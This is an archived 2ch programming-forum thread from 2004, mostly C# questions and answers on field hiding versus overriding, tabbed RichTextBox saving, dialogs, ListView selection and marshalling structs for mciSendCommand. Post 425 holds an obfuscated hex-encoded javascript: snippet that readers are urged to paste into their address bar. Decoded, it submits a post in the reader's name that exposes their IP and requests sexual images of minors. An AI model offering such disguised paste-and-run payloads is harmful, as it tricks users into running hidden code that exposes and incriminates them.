もう手の届かないどこかに残っている。そのうち消えるが。
> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
諦めるのがよい。
>>403
>"ぬるぽ"を消して、別の値を入れたり。
別の値をどこに入れるね?
405:デフォルトの名無しさん
04/10/19 00:14:02
>>403
あんたはいったいなにがしたいんだ…?
406:デフォルトの名無しさん
04/10/19 01:40:32
>>402
どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。
407:デフォルトの名無しさん
04/10/19 12:40:14
正規表現を全部エスケープする正規表現ってどうすればいいいですか?
408:デフォルトの名無しさん
04/10/19 14:54:14
class Class
{
public string s = "Hage1";
}
class Class1 : Class
{
new public string s = "Hage2";
public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
409:デフォルトの名無しさん
04/10/19 15:14:06
>>408
まず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。
さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。
サンプル。
class Super {
public virtual string S {get {return s;}}
private string s = "Super";
}
class Sub : Super {
public override string S {get {return this.s + base.S;}}
private string s = "Sub";
public static void Main() {
Super sub = new Sub();
Console.WriteLine(sub.S);
}
}
むう、今一つ上手い説明がつけられない……。
>>407
何がしたいのか分からないので具体例を。
410:408
04/10/19 15:55:59
>>409
この場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ
ていう感じでいいんでしょうか? orz
411:デフォルトの名無しさん
04/10/19 16:17:36
> Class1クラスは、Classクラスのインスタンスを持っている。
違う。
Class1は、Classを拡張している。
class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど
public string Class.s = "Hage1";
public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが
> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。
> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
412:408
04/10/19 17:30:06
>>411
どうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";
これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
413:デフォルトの名無しさん
04/10/19 19:56:35
先日質問させていただいたタブ型メモ帳を作ってるものです。
実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。
//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。
414:デフォルトの名無しさん
04/10/19 20:34:09
問題は、そのnewrichTextBoxだ。
そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag; //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。
つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
415:デフォルトの名無しさん
04/10/19 21:48:07
そういう意味だったのですか。なるほど。
試したところ上手くいきました。ありがとうございました。
意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
416:デフォルトの名無しさん
04/10/19 21:55:03
ん?
目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。
RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);
を一行で済ませただけだよ。
417:デフォルトの名無しさん
04/10/19 21:57:18
>>415
個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。
418:デフォルトの名無しさん
04/10/19 22:06:19
IEのファイルダウンロードのダイアログを同等のものを
C#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。
419:デフォルトの名無しさん
04/10/19 22:13:18
実をいうと自分は
SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
URLリンク(www.gihyo.co.jp)
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?
420:デフォルトの名無しさん
04/10/19 22:37:28
>>418
> 「開く」「保存」「キャンセル」のボタンがあるやつです。
それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
421:418
04/10/19 23:02:25
プログラムを書くのは簡単ですが、OS or IEで用意されている
ものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。
422:418
04/10/19 23:07:15
ファイル上書き確認のダイアログとかもそうだけど。
用意されてないの?自分でつくらないといけないの?
423:デフォルトの名無しさん
04/10/19 23:11:52
上書き確認はSaveFileDialogについてくるもんだしなぁ。
YesNoCancel程度ならMessageBoxで済むし。
424:デフォルトの名無しさん
04/10/20 02:32:48
>>418
あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
425:デフォルトの名無しさん
04/10/20 07:13:53
どのスレでもいいので新しいウインドウで開く
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。
426:デフォルトの名無しさん
04/10/20 12:40:19
ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを
自動的に選択するようにしたいんですが、どうやったらいいですか?
427:デフォルトの名無しさん
04/10/20 13:11:40
>>426
MouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。
激しく鬱陶しそうなUIだな。
実用にならない気がする。
428:デフォルトの名無しさん
04/10/21 16:48:43
保守age
429:デフォルトの名無しさん
04/10/24 00:03:10
CDドライブのドライブレターを指定して、
トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます
typedef struct tagMCI_OPEN_PARMSW {
DWORD_PTR dwCallback;
MCIDEVICEID wDeviceID;
LPCWSTR lpstrDeviceType;
LPCWSTR lpstrElementName;
LPCWSTR lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
5311日前に更新/230 KB
担当:undef